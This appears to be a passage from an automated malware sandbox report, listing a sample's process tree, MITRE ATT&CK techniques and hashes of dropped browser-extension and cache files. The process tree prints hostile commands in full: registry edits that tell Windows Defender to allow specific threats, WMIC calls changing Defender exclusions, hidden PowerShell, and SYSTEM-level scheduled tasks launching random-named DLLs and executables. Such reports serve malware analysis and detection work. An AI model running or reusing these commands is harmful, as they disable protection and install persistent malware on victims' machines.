- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:704
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:1380
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1888
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:2388
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2212
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:396
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:812
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2332
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2304
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:1880
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:2064
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2768
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:408
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:340
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:1448
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2292
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 06:32:20 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\OSyumzl.exe\" GH /kMqmdidVO 385118 /S" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "XyyyteIMwZeutaZuw"
    3⤵
    PID:2860
- C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\OSyumzl.exe
  C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\OSyumzl.exe GH /kMqmdidVO 385118 /S
  2⤵
  PID:2588
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:816
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:1972
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2084
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:2372
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2484
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1604
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:2940
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:340
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:536
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:652
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1644
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:576
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:268
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:1372
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2624
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2016
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:1748
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
    3⤵
    PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
    3⤵
    PID:1964
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:3000
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:468
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:812
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        
        PID:2644
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
      4⤵
      PID:2924
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        5⤵
        
        PID:2640
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1516
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        
        PID:2384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\oPSjIg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
    3⤵
    - Creates scheduled task(s)
    PID:2716
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\PGPOsKj.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "FPieTEPPuEmJrhC"
    3⤵
    PID:2236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
    3⤵
    PID:1184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\FiHPPpt.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\pIQeqQQ.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\ZjIgbyq.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2612
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\AWcayWT.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
    3⤵
    PID:2568
- C:\Windows\system32\rundll32.EXE
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\KWGlyNnY\KwSwBkB.dll",#1 /JbcdidDj 385118
  2⤵
  PID:1184
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\KWGlyNnY\KwSwBkB.dll",#1 /JbcdidDj 385118
    3⤵
    PID:1500
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
      4⤵
      PID:292

C:\Windows\system32\taskeng.exe
taskeng.exe {203CE800-5A38-4B7F-8EBD-CB70A91931F8} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]
1⤵
PID:928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1404
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2228

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2780

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
1⤵
PID:2172

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1476

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "354198706-405883751186381147181024519-257109712151633697012906332711505721179"
1⤵
PID:2312

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "14369452457914036681624190319654382790-531867302-193453239218915427761543249693"
1⤵
PID:1732

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "96384146464646321-2015777775630124691712902405-5497208981617174434-1656811388"
1⤵
PID:2364

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1371198881356338835923289563-182845558-900477188-1610152623-1459755972394426738"
1⤵
PID:760

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-20140849061443289650-448778981126307741-5157021682135719737-1916250523-2085015696"
1⤵
PID:1704

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1445743656847276844-560039320823330375-15654868551982274414-8065658621235892958"
1⤵
PID:1868

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1452822969-1859586547-801263889-690007845-214354114010973941857192551961791097517"
1⤵
PID:2952

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:1008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
2.0MB

MD5
81bd8ba352e32093bef562cdd60d59a2

SHA1
68562369fb784907a975d0045b884e3789f8cc7a

SHA256
7b0322a726e33855a262a1ec6a032524e05e1d69d7aef29392580ca9dd212e01

SHA512
735b5a02d1e8cb0c2957404990fb039bfb369bbab23ad8cf5f17c07f4ec682f55c691ec86c36064c6225a66855e184f4b64e47a28bb2dd0583cecca86a59b763

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
bec0b3792f1aa12e3a49e41ba118046e

SHA1
b54fc94b6de753ba45737638de1844289e7be1ba

SHA256
b82c68e0bf65e6aceecd9c7f8d75dcde45c98bb1f6d08690a43378d008dbfb2f

SHA512
2ced1e5a274659286b9d05f06489028e001a1bd16e8f69433f73a8b9f29ce8a7703db1c26fa157441538f473810a4048af5d82d14f223bbd5a47b38ba1261145

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
fcdb29745a39dba44a3c9c745f76a382

SHA1
ac4694a14264ea471fae59eabc6f67503b1f4bc2

SHA256
8c04b72f89ad7d2ec199ec7f6a59723086442acb06e714d1b77d2deb47204411

SHA512
a6a61c27412d0d4317eee94db99003dbae2745a9a049fb1b9c62a04ab1b75163418b55af42ea00da8d9da982ffe4e160de6721dc58a37b678e8881465c8494bd

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
36727e6ca02a85b13a2e98e51053035d

SHA1
74ad3bf18e25586771c2d925ea29d9f31f2e67a0

SHA256
95a9dcdd6e1eee59829480bb876e9a329b76767a381c0570ba83a55442c35df4

SHA512
3ccebbb487e812739553aeb45caacc4ff4b074e57f7089d6ce898d4965b1f0d10372af332a5b82072a21d4677b3b7678743d9109085888e43d9a3b527c0a8248

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
3dab71b779fa46aa0d95437f7b264a45

SHA1
7bd31e091c3f372cb8e4bc9448ea70ca18f65e45

SHA256
69576101c59bec488a447ea99ca21ff279dfd7a31daa048163c7e89d0fbb85f1

SHA512
eb6f190f5b58398aa5fecc5f245ef4fddffdf87925678f7927518e13f7e3fdfb80e7623c7ae1a58efd5a33a9c313ac4ce999964474789b0bcd4255a373d81d6c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c127a5a09b60a99f7d2503de75ea73ca

SHA1
06a1065f1c0cd35e0b88d7962a5ccd489d511344

SHA256
526492744c5ff80d5bf50f92ddefdb22dde3dcaa7855d0b7f35ed86f65c8fbd7

SHA512
f6a5e7ac9442b774929894a5ccc7b079a8f59ba2f864cb2ca42d97291ea49a432fb0c672b767366273f4b519cca23929f698034d574cffecc657b25855d0a967

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
3241184d993f8083f6e547573fe4ff4a

SHA1
76a118da5346a5c6849818fe4b0dfa781ed4ac1c

SHA256
1f5c9fbfb024abde5b502dd1e04eec371d95dfe17757d0c0e45161b784dd9a5b

SHA512
99a3063a39cc7f6d9bd517657f0b4290beb37e08a0d4a607fd253d2d939ce0cec651771080d2611f9baf0026ce23d421eb67b2f5a72e1c17b57c138d853be31f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\es\messages.json

Filesize
151B

MD5
bd6b60b18aee6aaeb83b35c68fb48d88

SHA1
9b977a5fbf606d1104894e025e51ac28b56137c3

SHA256
b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

SHA512
3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_locales\en\messages.json

Filesize
217B

MD5
dd564797aa2c90110ef784017dbcdbdc

SHA1
bd92462c3bd79dedafad76f8b24e6261e73ef04b

SHA256
1b63c3fdedf926ca9f3e4b6a331ef3c6cead5f8005191f6529a9745865f51aba

SHA512
d537fdcfcf4b4c0563a0f22848de0f9a7cdd4870e8002abd77bc8bba2bdd44430a64403dbea1fbb2bd8a15ef60068e2c1e223e205b7ae25c19b2aac0a01013ab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\_metadata\verified_contents.json

Filesize
1KB

MD5
c6f27d4c5b78b049b2fc34188c880e15

SHA1
9041a52dc774e599978da6042bf5960e58efacf4

SHA256
bdff761080d89d671ebe4ec28b1b82ff2229fd6bc25d06d3504c75697fe5d3c0

SHA512
f3d6c2f3671e7771e1566036d65f6839bd53ec78de82c59efb1190e6fecb81be0dbac74a03b22a1fdba2abf7cf2d03808ea77d6a4a999d9f6da8e5ffc4233f66

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-128.png

Filesize
14KB

MD5
8af1aef5361d4f67ee2496d2ee4d5f81

SHA1
2c85dd1d953c999dcb694aa59f47385254169806

SHA256
fad56011910b792dc6e057f9e7dfb89e4342aeeaf260e098f67008b68a3bd04f

SHA512
05f6ad93d95f96b66a78be5fe722d3baf938f90a2d123eae72ddcaf790235630f7aec495ddd3e42d9aee0ccdda0c724520d5db1007fc5aad1302ae3fc9452003

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-16.png

Filesize
654B

MD5
116154520a5241b455f08fd7bc29e99d

SHA1
4c7155fc19637b5bb919100a8123cebc202a3b87

SHA256
a5571a0623564757d45d625ca56b07bec2e32e19b058b9f43e93fbe4e2c2d589

SHA512
2f5acadf261c7cce1e1b71ee6b8cccbd5a19009a90a06c37f9335c819a06988c78c4efef3a3bc196de67ece4e18dcfa508a6fc4a0016822be40f45f4b456a9c2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-32.png

Filesize
1KB

MD5
bb05c2b0dd4612d0ab94e353c80f18e4

SHA1
7f1a14339b08c6140a4e5543479382adfb0d09d8

SHA256
5ec71ad6b7058183a4a1e46ef570213e9450e3173bb7809365a0c66bf7e2b61b

SHA512
f143cf26e308679bda02abd1a5ec9330be6d33cd7b2317e6ae695bdf7ba88da5d25d54e772777c27302ddae60532017d493d823c8c209cda44917ee7b482b5d3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\icons\icon-64.png

Filesize
4KB

MD5
b4d4e7bad349bf3cc49cf75d41df7e58

SHA1
66a6f348a1e1bbf963208b08a5285ab231e1ed1f

SHA256
4fe78885932758161092d3c1d22843cdfcbfa92a546d155ce2887a176d1fa319

SHA512
f1a8c206501cfdc0644dc5975ac202e99c8dc1643180374297e1d9c9b9358e256fbeaca5bc77b142e70db3bb03f3ad8d674bfe6820e26cb76de177f9e9c21fd0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json

Filesize
1KB

MD5
b7cdcfb73e8696887df4adbb2dfb0a71

SHA1
4887cdb7ce54d8db677e7a0e118fad92b6b9710c

SHA256
3ff8b96d52762ab4b9799c0195f4dccb80216f5b03a54999c1d343fc63e8ea15

SHA512
1eb151ba80d23b37e2043c5100375957b75c13a337d051018766f88653d39bf779b5cf6fa8b49546c1b1d5dce4c3f2558348f5f63fe9009f719088a7338c96a0

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
d1fa83860826ae550d61aff2cbf1fbeb

SHA1
